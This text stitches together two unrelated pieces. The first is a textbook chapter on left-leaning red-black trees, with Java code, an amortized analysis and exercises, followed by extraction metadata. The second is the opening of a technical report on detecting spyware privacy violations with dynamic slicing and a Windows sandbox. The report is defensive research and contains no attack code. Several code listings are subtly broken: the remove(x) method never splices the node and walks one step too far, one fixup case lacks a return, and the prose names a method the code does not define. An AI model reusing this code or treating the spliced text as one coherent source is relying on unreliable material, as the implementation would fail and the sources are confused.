Similarly, implementing \( \text{remove}(x) \) requires a method of merging two nodes and borrowing a child from a sibling. Merging two nodes is the inverse of a split (shown in Figure 9.6), and involves colouring two (black) siblings red and colouring their (red) parent black. Borrowing from a sibling is the most complicated of the procedures and involves both rotations and recolouring nodes.
Of course, during all of this we must still maintain the no-red-edge
Figure 9.6: Simulating a 2-4 tree split operation during an addition in a red-black tree. (This simulates the 2-4 tree addition shown in Figure 9.2.)
property and the black-height property. While it is no longer surprising that this can be done, there are a large number of cases that have to be considered if we try to do a direct simulation of a 2-4 tree by a red-black tree. At some point, it just becomes simpler to disregard the underlying 2-4 tree and work directly towards maintaining the properties of the red-black tree.
9.2.2 Left-Leaning Red-Black Trees
No single definition of red-black trees exists. Rather, there is a family of structures that manage to maintain the black-height and no-red-edge properties during add(x) and remove(x) operations. Different structures do this in different ways. Here, we implement a data structure that we call a RedBlackTree. This structure implements a particular variant of red-black trees that satisfies an additional property:
**Property 9.5 (left-leaning).** At any node $u$, if $u$.left is black, then $u$.right is black.
Note that the red-black tree shown in Figure 9.4 does not satisfy the left-leaning property; it is violated by the parent of the red node in the rightmost path.
The reason for maintaining the left-leaning property is that it reduces the number of cases encountered when updating the tree during add(x) and remove(x) operations. In terms of 2-4 trees, it implies that every 2-4 tree has a unique representation: A node of degree two becomes a black node with two black children. A node of degree three becomes a black node whose left child is red and whose right child is black. A node of degree four becomes a black node with two red children.
Before we describe the implementation of add(x) and remove(x) in detail, we first present some simple subroutines used by these methods that are illustrated in Figure 9.7. The first two subroutines are for manipulating colours while preserving the black-height property. The pushBlack(u) method takes as input a black node $u$ that has two red children and colours $u$ red and its two children black. The pullBlack(u) method reverses this operation:
RedBlackTree: A Simulated 2-4 Tree
§9.2
The \texttt{flipLeft} method swaps the colours of \texttt{u} and \texttt{u.right} and then performs a left rotation at \texttt{u}. This method reverses the colours of these two nodes as well as their parent-child relationship:
```java
void flipLeft(Node<T> u) {
swapColors(u, u.right);
rotateLeft(u);
}
```
The \texttt{flipLeft} operation is especially useful in restoring the left-leaning property at a node \texttt{u} that violates it (because \texttt{u.left} is black and \texttt{u.right} is red). In this special case, we can be assured that this operation preserves both the black-height and no-red-edge properties. The
flipRight(u) operation is symmetric with flipLeft(u), when the roles of left and right are reversed.
```java
void flipRight(Node<T> u) {
swapColors(u, u.left);
rotateRight(u);
}
```
### 9.2.3 Addition
To implement add(x) in a RedBlackTree, we perform a standard BinarySearchTree insertion to add a new leaf, u, with u.x = x and set u.colour = red. Note that this does not change the black height of any node, so it does not violate the black-height property. It may, however, violate the left-leaning property (if u is the right child of its parent), and it may violate the no-red-edge property (if u’s parent is red). To restore these properties, we call the method addFixup(u).
```java
boolean add(T x) {
Node<T> u = newNode(x);
u.colour = red;
boolean added = add(u);
if (added)
addFixup(u);
return added;
}
```
Illustrated in Figure 9.8, the addFixup(u) method takes as input a node u whose colour is red and which may violate the no-red-edge property and/or the left-leaning property. The following discussion is probably impossible to follow without referring to Figure 9.8 or recreating it on a piece of paper. Indeed, the reader may wish to study this figure before continuing.
If u is the root of the tree, then we can colour u black to restore both properties. If u’s sibling is also red, then u’s parent must be black, so both the left-leaning and no-red-edge properties already hold.
Figure 9.8: A single round in the process of fixing Property 2 after an insertion.
Otherwise, we first determine if \( u \)'s parent, \( w \), violates the left-leaning property and, if so, perform a \texttt{flipLeft}(w) operation and set \( u = w \). This leaves us in a well-defined state: \( u \) is the left child of its parent, \( w \), so \( w \) now satisfies the left-leaning property. All that remains is to ensure the no-red-edge property at \( u \). We only have to worry about the case in which \( w \) is red, since otherwise \( u \) already satisfies the no-red-edge property.
Since we are not done yet, \( u \) is red and \( w \) is red. The no-red-edge property (which is only violated by \( u \) and not by \( w \)) implies that \( u \)'s grandparent \( g \) exists and is black. If \( g \)'s right child is red, then the left-leaning property ensures that both \( g \)'s children are red, and a call to \texttt{pushBlack}(g) makes \( g \) red and \( w \) black. This restores the no-red-edge property at \( u \), but may cause it to be violated at \( g \), so the whole process starts over with \( u = g \).
If \( g \)'s right child is black, then a call to \texttt{flipRight}(g) makes \( w \) the (black) parent of \( g \) and gives \( w \) two red children, \( u \) and \( g \). This ensures that \( u \) satisfies the no-red-edge property and \( g \) satisfies the left-leaning property. In this case we can stop.
```java
void addFixup(Node<T> u) {
while (u.colour == red) {
if (u == r) { // u is the root - done
u.colour = black;
return;
}
Node<T> w = u.parent;
if (w.left.colour == black) { // ensure left-leaning
flipLeft(w);
u = w;
w = u.parent;
}
if (w.colour == black)
return; // no red-red edge = done
Node<T> g = w.parent; // grandparent of u
if (g.right.colour == black) {
flipRight(g);
return;
} else {
pushBlack(g);
}
}
}
```
The `insertFixup(u)` method takes constant time per iteration and each iteration either finishes or moves \( u \) closer to the root. Therefore, the `insertFixup(u)` method finishes after \( O(\log n) \) iterations in \( O(\log n) \) time.
### 9.2.4 Removal
The `remove(x)` operation in a RedBlackTree is the most complicated to implement, and this is true of all known red-black tree variants. Just like the `remove(x)` operation in a BinarySearchTree, this operation boils down to finding a node \( w \) with only one child, \( u \), and splicing \( w \) out of the tree by having \( w\.parent \) adopt \( u \).
The problem with this is that, if \( w \) is black, then the black-height property will now be violated at \( w\.parent \). We may avoid this problem, temporarily, by adding \( w\.colour \) to \( u\.colour \). Of course, this introduces two other problems: (1) if \( u \) and \( w \) both started out black, then \( u\.colour + w\.colour = 2 \) (double black), which is an invalid colour. If \( w \) was red, then it is replaced by a black node \( u \), which may violate the left-leaning property at \( u\.parent \). Both of these problems can be resolved with a call to the `removeFixup(u)` method.
```java
RedBlackTree
boolean remove(T x) {
Node<T> u = findLast(x);
if (u == nil || compare(u.x, x) != 0)
return false;
Node<T> w = u.right;
if (w == nil) {
w = u;
u = w.left;
} else {
while (w.left != nil)
w = w.left;
w = w.left;
}
return true;
}
```
The `removeFixup(u)` method takes as its input a node `u` whose colour is black (1) or double-black (2). If `u` is double-black, then `removeFixup(u)` performs a series of rotations and recolouring operations that move the double-black node up the tree until it can be eliminated. During this process, the node `u` changes until, at the end of this process, `u` refers to the root of the subtree that has been changed. The root of this subtree may have changed colour. In particular, it may have gone from red to black, so the `removeFixup(u)` method finishes by checking if `u`'s parent violates the left-leaning property and, if so, fixing it.
The `removeFixup(u)` method is illustrated in Figure 9.9. Again, the following text will be difficult, if not impossible, to follow without referring to Figure 9.9. Each iteration of the loop in `removeFixup(u)` processes the double-black node `u`, based on one of four cases:
Case 0: `u` is the root. This is the easiest case to treat. We recolour `u` to be black (this does not violate any of the red-black tree properties).
Case 1: `u`’s sibling, `v`, is red. In this case, `u`’s sibling is the left child of its parent, `w` (by the left-leaning property). We perform a right-flip at `w` and then proceed to the next iteration. Note that this action causes `w`’s parent to violate the left-leaning property and the depth of `u` to increase. However, it also implies that the next iteration will be in Case 3 with `w` coloured red. When examining Case 3 below, we will see that the process will stop during the next iteration.
```java
RedBlackTree<
Node<T> removeFixupCase1(Node<T> u) {
flipRight(u.parent);
return u;
}
```
Case 2: `u`’s sibling, `v`, is black, and `u` is the left child of its parent, `w`. In this case, we call `pullBlack(w)`, making `u` black, `v` red, and darkening the colour of `w` to black or double-black. At this point, `w` does not satisfy the left-leaning property, so we call `flipLeft(w)` to fix this.
At this point, `w` is red and `v` is the root of the subtree with which we started. We need to check if `w` causes the no-red-edge property to be violated. We do this by inspecting `w`’s right child, `q`. If `q` is black, then `w` satisfies the no-red-edge property and we can continue the next iteration with `u = v`.
Otherwise (`q` is red), so both the no-red-edge property and the left-leaning properties are violated at `q` and `w`, respectively. The left-leaning property is restored with a call to `rotateLeft(w)`, but the no-red-edge property is still violated. At this point, `q` is the left child of `v`, `w` is the left child of `q`, `q` and `w` are both red, and `v` is black or double-black. A `flipRight(v)` makes `q` the parent of both `v` and `w`. Following this up by a
§9.2 Red-Black Trees
Figure 9.9: A single round in the process of eliminating a double-black node after a removal.
pushBlack(q) makes both v and w black and sets the colour of q back to the original colour of w.
At this point, the double-black node is has been eliminated and the no-red-edge and black-height properties are reestablished. Only one possible problem remains: the right child of v may be red, in which case the left-leaning property would be violated. We check this and perform a flipLeft(v) to correct it if necessary.
```java
RedBlackTree
Node<T> removeFixupCase2(Node<T> u) {
Node<T> w = u.parent;
Node<T> v = w.right;
pullBlack(w); // w.left
flipLeft(w); // w is now red
Node<T> q = w.right;
if (q.colour == red) { // q-w is red-red
rotateLeft(w);
flipRight(v);
pushBlack(q);
if (v.right.colour == red)
flipLeft(v);
return q;
} else {
return v;
}
}
```
Case 3: u’s sibling is black and u is the right child of its parent, w. This case is symmetric to Case 2 and is handled mostly the same way. The only differences come from the fact that the left-leaning property is asymmetric, so it requires different handling.
As before, we begin with a call to pullBlack(w), which makes v red and u black. A call to flipRight(w) promotes v to the root of the subtree. At this point w is red, and the code branches two ways depending on the colour of w’s left child, q.
If q is red, then the code finishes up exactly the same way as Case 2 does, but is even simpler since there is no danger of v not satisfying the left-leaning property.
The more complicated case occurs when $q$ is black. In this case, we examine the colour of $v$’s left child. If it is red, then $v$ has two red children and its extra black can be pushed down with a call to `pushBlack(v)`. At this point, $v$ now has $w$’s original colour, and we are done.
If $v$’s left child is black, then $v$ violates the left-leaning property, and we restore this with a call to `flipLeft(v)`. We then return the node $v$ so that the next iteration of `removeFixup(u)` then continues with $u = v$.
```cpp
RedBlackTree
Node<T> removeFixupCase3(Node<T> u) {
Node<T> w = u.parent;
Node<T> v = w.left;
pullBlack(w);
flipRight(w); // w is now red
Node<T> q = w.left;
if (q.colour == red) { // q-w is red-red
rotateRight(w);
flipLeft(v);
pushBlack(q);
return q;
} else {
if (v.left.colour == red) {
pushBlack(v); // both v’s children are red
return v;
} else { // ensure left-leaning
flipLeft(v);
}
}
}
```
Each iteration of `removeFixup(u)` takes constant time. Cases 2 and 3 either finish or move $u$ closer to the root of the tree. Case 0 (where $u$ is the root) always terminates and Case 1 leads immediately to Case 3, which also terminates. Since the height of the tree is at most $2\log n$, we conclude that there are at most $O(\log n)$ iterations of `removeFixup(u)`, so `removeFixup(u)` runs in $O(\log n)$ time.
9.3 Summary
The following theorem summarizes the performance of the RedBlack-Tree data structure:
**Theorem 9.1.** A RedBlackTree implements the SSet interface and supports the operations add\(x\), remove\(x\), and find\(x\) in \(O(\log n)\) worst-case time per operation.
Not included in the above theorem is the following extra bonus:
**Theorem 9.2.** Beginning with an empty RedBlackTree, any sequence of \(m\) add\(x\) and remove\(x\) operations results in a total of \(O(m)\) time spent during all calls add\(\text{fixup}(u)\) and remove\(\text{fixup}(u)\).
We only sketch a proof of Theorem 9.2. By comparing add\(\text{fixup}(u)\) and remove\(\text{fixup}(u)\) with the algorithms for adding or removing a leaf in a 2-4 tree, we can convince ourselves that this property is inherited from a 2-4 tree. In particular, if we can show that the total time spent splitting, merging, and borrowing in a 2-4 tree is \(O(m)\), then this implies Theorem 9.2.
The proof of this theorem for 2-4 trees uses the potential method of amortized analysis.\(^2\) Define the potential of an internal node \(u\) in a 2-4 tree as
\[
\Phi(u) = \begin{cases}
1 & \text{if } u \text{ has 2 children} \\
0 & \text{if } u \text{ has 3 children} \\
3 & \text{if } u \text{ has 4 children}
\end{cases}
\]
and the potential of a 2-4 tree as the sum of the potentials of its nodes. When a split occurs, it is because a node with four children becomes two nodes, with two and three children. This means that the overall potential drops by \(3 - 1 - 0 = 2\). When a merge occurs, two nodes that used to have two children are replaced by one node with three children. The result is a drop in potential of \(2 - 0 = 2\). Therefore, for every split or merge, the potential decreases by two.
Next notice that, if we ignore splitting and merging of nodes, there are only a constant number of nodes whose number of children is changed by
\(^2\)See the proofs of Lemma 2.2 and Lemma 3.1 for other applications of the potential method.
the addition or removal of a leaf. When adding a node, one node has its number of children increase by one, increasing the potential by at most three. During the removal of a leaf, one node has its number of children decrease by one, increasing the potential by at most one, and two nodes may be involved in a borrowing operation, increasing their total potential by at most one.
To summarize, each merge and split causes the potential to drop by at least two. Ignoring merging and splitting, each addition or removal causes the potential to rise by at most three, and the potential is always non-negative. Therefore, the number of splits and merges caused by $m$ additions or removals on an initially empty tree is at most $3m/2$. Theorem 9.2 is a consequence of this analysis and the correspondence between 2-4 trees and red-black trees.
9.4 Discussion and Exercises
Red-black trees were first introduced by Guibas and Sedgewick [38]. Despite their high implementation complexity they are found in some of the most commonly used libraries and applications. Most algorithms and data structures textbooks discuss some variant of red-black trees.
Andersson [6] describes a left-leaning version of balanced trees that is similar to red-black trees but has the additional constraint that any node has at most one red child. This implies that these trees simulate 2-3 trees rather than 2-4 trees. They are significantly simpler, though, than the RedBlackTree structure presented in this chapter.
Sedgewick [66] describes two versions of left-leaning red-black trees. These use recursion along with a simulation of top-down splitting and merging in 2-4 trees. The combination of these two techniques makes for particularly short and elegant code.
A related, and older, data structure is the AVL tree [3]. AVL trees are height-balanced: At each node $u$, the height of the subtree rooted at $u.left$ and the subtree rooted at $u.right$ differ by at most one. It follows immediately that, if $F(h)$ is the minimum number of leaves in a tree of
height \( h \), then \( F(h) \) obeys the Fibonacci recurrence
\[
F(h) = F(h - 1) + F(h - 2)
\]
with base cases \( F(0) = 1 \) and \( F(1) = 1 \). This means \( F(h) \) is approximately \( \varphi^h/\sqrt{5} \), where \( \varphi = (1 + \sqrt{5})/2 \approx 1.61803399 \) is the golden ratio. (More precisely, \( |\varphi^h/\sqrt{5} - F(h)| \leq 1/2 \).) Arguing as in the proof of Lemma 9.1, this implies
\[
h \leq \log_\varphi n \approx 1.444020089 \log n,
\]
so AVL trees have smaller height than red-black trees. The height balancing can be maintained during \textit{add}(x) and \textit{remove}(x) operations by walking back up the path to the root and performing a rebalancing operation at each node \( u \) where the height of \( u \)'s left and right subtrees differ by two. See Figure 9.10.
Andersson’s variant of red-black trees, Sedgewick’s variant of red-black trees, and AVL trees are all simpler to implement than the Red-BlackTree structure defined here. Unfortunately, none of them can guarantee that the amortized time spent rebalancing is \( O(1) \) per update. In particular, there is no analogue of Theorem 9.2 for those structures.
\textbf{Exercise 9.1.} Illustrate the 2-4 tree that corresponds to the RedBlackTree in Figure 9.11.
\textbf{Exercise 9.2.} Illustrate the addition of 13, then 3.5, then 3.3 on the RedBlackTree in Figure 9.11.
\textbf{Exercise 9.3.} Illustrate the removal of 11, then 9, then 5 on the RedBlackTree in Figure 9.11.
\textbf{Exercise 9.4.} Show that, for arbitrarily large values of \( n \), there are red-black trees with \( n \) nodes that have height \( 2 \log n - O(1) \).
\textbf{Exercise 9.5.} Consider the operations \textit{pushBlack}(u) and \textit{pullBlack}(u). What do these operations do to the underlying 2-4 tree that is being simulated by the red-black tree?
\textbf{Exercise 9.6.} Show that, for arbitrarily large values of \( n \), there exist sequences of \textit{add}(x) and \textit{remove}(x) operations that lead to red-black trees with \( n \) nodes that have height \( 2 \log n - O(1) \).
Figure 9.10: Rebalancing in an AVL tree. At most two rotations are required to convert a node whose subtrees have a height of $h$ and $h + 2$ into a node whose subtrees each have a height of at most $h + 1$.
Figure 9.11: A red-black tree on which to practice.
Exercise 9.7. Why does the method remove($x$) in the RedBlackTree implementation perform the assignment $u.parent = w.parent$? Shouldn’t this already be done by the call to splice($w$)?
Exercise 9.8. Suppose a 2-4 tree, $T$, has $n_\ell$ leaves and $n_i$ internal nodes.
1. What is the minimum value of $n_i$, as a function of $n_\ell$?
2. What is the maximum value of $n_i$, as a function of $n_\ell$?
3. If $T'$ is a red-black tree that represents $T$, then how many red nodes does $T'$ have?
Exercise 9.9. Suppose you are given a binary search tree with $n$ nodes and a height of at most $2 \log n - 2$. Is it always possible to colour the nodes red and black so that the tree satisfies the black-height and no-red-edge properties? If so, can it also be made to satisfy the left-leaning property?
Exercise 9.10. Suppose you have two red-black trees $T_1$ and $T_2$ that have the same black height, $h$, and such that the largest key in $T_1$ is smaller than the smallest key in $T_2$. Show how to merge $T_1$ and $T_2$ into a single red-black tree in $O(h)$ time.
Exercise 9.11. Extend your solution to Exercise 9.10 to the case where the two trees $T_1$ and $T_2$ have different black heights, $h_1 \neq h_2$. The running-time should be $O(\max \{h_1, h_2\})$.
Exercise 9.12. Prove that, during an add($x$) operation, an AVL tree must perform at most one rebalancing operation (that involves at most two rotations; see Figure 9.10). Give an example of an AVL tree and a remove($x$) operation on that tree that requires on the order of $\log n$ rebalancing operations.
Exercise 9.13. Implement an AVLTree class that implements AVL trees as described above. Compare its performance to that of the RedBlackTree implementation. Which implementation has a faster find($x$) operation?
Exercise 9.14. Design and implement a series of experiments that compare the relative performance of find($x$), add($x$), and remove($x$) for the SSet implementations SkipListSSet, ScapegoatTree, Treap, and RedBlackTree. Be sure to include multiple test scenarios, including cases
where the data is random, already sorted, is removed in random order, is removed in sorted order, and so on.
|
{"Source-Url": "http://www.aupress.ca/books/120226/ebook/09_Morin_2013-Open_Data_Structures.pdf", "len_cl100k_base": 8522, "olmocr-version": "0.1.53", "pdf-total-pages": 26, "total-fallback-pages": 0, "total-input-tokens": 54106, "total-output-tokens": 9809, "length": "2e13", "weborganizer": {"__label__adult": 0.00035262107849121094, "__label__art_design": 0.0002543926239013672, "__label__crime_law": 0.00039124488830566406, "__label__education_jobs": 0.0008502006530761719, "__label__entertainment": 6.765127182006836e-05, "__label__fashion_beauty": 0.0001461505889892578, "__label__finance_business": 0.00018799304962158203, "__label__food_dining": 0.0004367828369140625, "__label__games": 0.0007076263427734375, "__label__hardware": 0.0011434555053710938, "__label__health": 0.0005321502685546875, "__label__history": 0.0002770423889160156, "__label__home_hobbies": 0.00012421607971191406, "__label__industrial": 0.00048661231994628906, "__label__literature": 0.0002617835998535156, "__label__politics": 0.0002677440643310547, "__label__religion": 0.0005626678466796875, "__label__science_tech": 0.0286712646484375, "__label__social_life": 0.00010401010513305664, "__label__software": 0.004238128662109375, "__label__software_dev": 0.95849609375, "__label__sports_fitness": 0.0003662109375, "__label__transportation": 0.0006403923034667969, "__label__travel": 0.00020563602447509768}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 32375, 0.01825]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 32375, 0.7336]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 32375, 0.92153]], "google_gemma-3-12b-it_contains_pii": [[0, 1541, false], [1541, 2762, null], [2762, 5219, null], [5219, 5370, null], [5370, 5530, null], [5530, 7161, null], [7161, 8770, null], [8770, 10016, null], [10016, 10166, null], [10166, 12192, null], [12192, 12869, null], [12869, 14307, null], [14307, 14390, null], [14390, 16364, null], [16364, 17916, null], [17916, 18562, null], [18562, 20697, null], [20697, 20813, null], [20813, 22340, null], [22340, 23806, null], [23806, 25819, null], [25819, 27862, null], [27862, 29932, null], [29932, 30193, null], [30193, 32267, null], [32267, 32375, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1541, true], [1541, 2762, null], [2762, 5219, null], [5219, 5370, null], [5370, 5530, null], [5530, 7161, null], [7161, 8770, null], [8770, 10016, null], [10016, 10166, null], [10166, 12192, null], [12192, 12869, null], [12869, 14307, null], [14307, 14390, null], [14390, 16364, null], [16364, 17916, null], [17916, 18562, null], [18562, 20697, null], [20697, 20813, null], [20813, 22340, null], [22340, 23806, null], [23806, 25819, null], [25819, 27862, null], [27862, 29932, null], [29932, 30193, null], [30193, 32267, null], [32267, 32375, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 32375, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 32375, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 32375, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 32375, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 32375, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 32375, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 32375, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 32375, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 32375, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, true], [5000, 32375, null]], "pdf_page_numbers": [[0, 1541, 1], [1541, 2762, 2], [2762, 5219, 3], [5219, 5370, 4], [5370, 5530, 5], [5530, 7161, 6], [7161, 8770, 7], [8770, 10016, 8], [10016, 10166, 9], [10166, 12192, 10], [12192, 12869, 11], [12869, 14307, 12], [14307, 14390, 13], [14390, 16364, 14], [16364, 17916, 15], [17916, 18562, 16], [18562, 20697, 17], [20697, 20813, 18], [20813, 22340, 19], [22340, 23806, 20], [23806, 25819, 21], [25819, 27862, 22], [27862, 29932, 23], [29932, 30193, 24], [30193, 32267, 25], [32267, 32375, 26]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 32375, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-10
|
2024-12-10
|
f47e3bfa82ada0e0445ea57be4bee88cc897f89b
|
Towards Discovering and Containing Privacy Violations in Software
Louis Kruger
Computer Sciences Department
University of Wisconsin
Madison, WI 53726
lpkruger@cs.wisc.edu
Hao Wang
Computer Sciences Department
University of Wisconsin
Madison, WI 53706
hbwang@cs.wisc.edu
Somesh Jha
Computer Sciences Department
University of Wisconsin
Madison, WI 53726
jha@cs.wisc.edu
Patrick D. McDaniel
Pennsylvania State University
State College, PA 16801
mcdaniel@cse.psu.edu
Wenkee Lee
College of Computing
Georgia Institute of Technology
Atlanta, GA 30332
wenke@cc.gatech.edu
September 17, 2004
Technical Report
UW-CS-TR-1515
Abstract
Malicious code can wreak havoc on our cyberinfrastructure. Hence, discovering and containing malicious code is an important goal. This paper focuses on privacy-violating malicious code. Examples of privacy violations are leaking private user data to an external entity or downloading data to a user’s host without their permission. Spyware, which has recently received considerable attention in the popular literature, is an important example of privacy-violating malicious code. We propose a multi-step approach to discovering and containing privacy violations. We have designed and implemented a dynamic slicing tool to discover dependencies between events in an execution trace. We demonstrate that dynamic slicing can be used to discover privacy violations. Information gathered using dynamic slicing can be used to construct security policies to contain the discovered privacy violations. These security policies are then enforced by a sandbox. We have implemented a sandbox for Windows, and have successfully evaluated our approach on two applications: KaZaa and RealOne Player. For both of these applications we were able to discover privacy violations in them using our dynamic-slicing tool. Moreover, using information gathered through dynamic slicing we were able to design policies to thwart these privacy-violations. Although our preliminary evaluation was performed on spyware, in the future we will evaluate our approach on other privacy-violating malicious code.
1 Introduction
Malicious code can infiltrate hosts using a variety of methods, such as attacks against known software flaws, hidden functionality in regular programs, and social engineering; a taxonomy of malicious code appears in [35]. Disruption of services caused by malicious code can have catastrophic effects, including loss of human life, disruption of essential services, and huge financial losses. The increased reliance of critical services on our cyberinfrastructure and the dire consequences of security breaches have highlighted the importance of detecting and containing malicious code.
This paper addresses privacy-violating malicious code, where a privacy violation is defined as the disclosure of private information or use of a resource without its owner’s permission or knowledge. Transmitting sensitive user data to an external server and downloading data to a user’s host without their knowledge are two concrete examples of privacy-violations. Spyware is an important example of privacy-violating malicious code. Spyware [52, 56] is malicious code that performs useful functionality, but results in disclosure of sensitive information, such as a customer’s credit card information. RealNetworks’ Real Jukebox [31, 43] was one of the well publicized examples of spyware. In [35] spyware is defined as follows:
Spyware is a useful software package that also transmits private user data to an external entity.
A recent measurement study discovered that 10% of active hosts on a campus of a major public university were infected with spyware [47]. Given the widespread prevalence of spyware and privacy breaches that can result from them, detecting and containing privacy-violations is an important goal. The initial focus of our work is on spyware, but in the future we will evaluate other privacy-violating malicious code. Discovering privacy violations can be viewed as a special case of information-flow analysis [14, 36, 44, 54]. Since we are analyzing programs without access to source code, we will have to perform information-flow analysis on large executables. To our knowledge, information-flow analysis techniques have not be demonstrated to scale to large executables. Dynamic slicing finds dependencies between events in an execution trace. Our methodology uses a combination of dynamic slicing (which can be thought of as information-flow analysis for execution traces) and sandboxing.
There are two major classes of techniques for addressing malicious code: static and dynamic. Static analysis techniques [6, 7, 11, 12, 24, 33] attempt to detect malicious behavior in programs. Typically, virus scanners search for a pattern of instructions and thus use static analysis (albeit a very simple one). Dynamic techniques confine the behavior of a potentially malicious program using sandboxing. A sandbox [15, 19, 23, 29] monitors a program and confines its execution to a security policy. However, these techniques have not been applied to contain privacy violations.
This paper makes the following contributions:
Discovering privacy-violations using dynamic slicing: Malicious code, such as a virus or a worm, leave an observable footprint behind. In contrast, privacy-violating malicious code (e.g., spyware) perform useful functionality, such as downloading or replaying music, but also perform stealthy privacy-violating activities. Therefore, discovering such privacy-violating features is challenging. We have designed and implemented a dynamic-slicing algorithm that enables an analyst to discover privacy-violating features using event traces. Unlike traditional dynamic-slicing algorithms [3, 30] our algorithm works with incomplete information (in our case, a sequence of Win32 API calls made by the application). A description of our dynamic-slicing algorithm and its use in discovering privacy-violations appears in Section 4. Recent work on mimicry and hiding attacks [50, 51, 55] has demonstrated that it is important to incorporate dependency and argument information in security policies used for enforcement. Dynamic slicing can be used to recover dependencies between events and recover argument values, which can be used to construct precise security policies.
Containing privacy-violations using sandboxing: We present the design and implementation of a dynamic-monitoring infrastructure for Windows, called sandBoX86 . We have designed a language called the event description language or EDL, to abstract events. EDL provides a decoupling between raw events (Win32 API calls in our case) and abstract events used for monitoring, which makes porting our architecture to other platforms easier. Security policies are defined using a language called the event sequence language or ESL, which uses the abstract events defined by a EDL specification. These security policies also use the information gathered using dynamic slicing. EDL and ESL specifications for an application are then compiled into a monitor. Details about the architecture can be found in Section 5.
Case studies: In order to evaluate our sandboxing system we considered two applications: KaZaa [25] and RealOne Player [41]. A detailed description of these applications along with privacy-violating features we discovered in them can be found in Section 6. Details about these features were discovered using our dynamic slicing tool. For these two applications, we were able to construct security policies to thwart the discovered privacy-violating features, which lead us to believe that sandboxing can be very effective in containing privacy-violating malicious code, such as spyware. We also measured the memory and execution overheads introduced by our sandbox. Our evaluation demonstrated that the performance and resource costs associated with sandBoX86 are nominal. The macrobenchmarks show a slow down of less than 3.2% for all our applications. The results of these experiments can be found in Section 7.
2 Overview
This section gives an overview of our entire methodology. We describe how dynamic slicing can be used to discover privacy violations and gather information for constructing security policies. We also give two examples of security policies in ESL.
2.1 (Step 1) analyzing execution traces using dynamic slicing
Dependencies between events in an execution trace can be inferred using dynamic slicing. These dependencies can then be used to discover privacy violations and gather information to construct security policies. We will illustrate the use of dynamic slicing using two scenarios.
Scenario 1 (discovering privacy violations): A security analyst wants to discover whether a network event (e.g. sending a message to a remote host) depends on a sensitive event (e.g. reading from a specific file). This dependency indicates that the application is sending data obtained from a sensitive operation to a remote host.
Analysis: A forward slice from a sensitive event shows all the events that depend on it. If a network event is in the forward slice, it represents a potential privacy violation.
Scenario 2 (information gathering): Suppose a security analyst wants to discover all the remote hosts that an application connects to. This information will be useful in recognizing servers that are used by certain applications to download pop-up advertisements or to send information about user activity.
Analysis: Figure 1 demonstrates information gathering using dynamic slicing. The left side of the figure lists a portion of a program’s running trace. The right side shows the results of dynamic slicing. In this example, we want to find all the hosts which a program has sent data to using the send call. First, we isolate the send events. In this case there are two: 170 and 284. Next, backward slicing is performed from each one of the two send events. The result from the backward slicing consists of two trees, one from each of the two send events. From the two slices, we extract only the gethostbyname calls, which give us the set of hosts the
program has sent data to. Appendix B.2 shows a screen shot of our GUI interface to the dynamic slicer. The GUI interface provides a mechanism for a security analyst to visualize and browse the slices.
2.2 (Step 2) constructing security policies
In this step a security analyst designs ESL security policies to thwart privacy violations. Next we show two example policies which are related to scenarios 1 and 2 described before.
Example 1 Assume that using dynamic slicing an analyst was able to discover a privacy violation. Dependencies between events exposed during dynamic slicing helps an analyst construct a policy to thwart the discovered policy violation. Hence dynamic slicing can expose some of the context missing from traditional kernel-level enforcement mechanisms by detecting and tracking dependencies between operating system interface calls (e.g., API calls in windows, syscalls in UNIX). We demonstrate the power of this approach by describing the implementation of a canonical privacy policy: preventing the transmission of sensitive files across a network.
Consider a user who wishes to protect the files in her web browser cache from being exported by a malicious program. Pragmatically, she wants to prevent any process from reading items in her cache and then subsequently transmitting them over the network. This requires the system to infer dependencies between two very separate operations; the reading of data from the sensitive (cache) directory, and the use of network interfaces.
Figure 2 shows an ESL policy that protects the browser cache. Line 1 indicates that this ESL security policy uses the EDL specification given in file generic.edl. Lines 4, 5, and 6 define how the reading of sensitive material is detected. Line 4 defines a protection domain by identifying the sensitive cache directories for both Internet Explorer and Netscape, and lines 5 and 6 indicate how access to the protection domain should be monitored. The policy tracks the open and subsequent read of sensitive files by saving state between API calls. Specifically, the addHash operator allows open and read operations to be correlated with the file handle results of open calls (which are stored in the handles hash table).\footnote{Note that such mappings can be trivially circumvented by file descriptor aliasing operators such as dup. Note that these require OS API or system calls, and as such can be governed by policies in a similar manner as the open call. For brevity, we omit further discussion of these interfaces.}
the file descriptor mapping in the hash table, line 6 annotates (with a block flag) the process as having consumed sensitive data when it reads from a sensitive file. Note that prior to this annotation, the process can freely send and receive data over the network. Lines 7-11 state how the policy is enforced. If the block flag is true, then the argument corresponding to the host in the send call is changed to the localhost (lines 8-9). All other operations are permitted independent of annotation, e.g., connect, recv, recvfrom, etc.
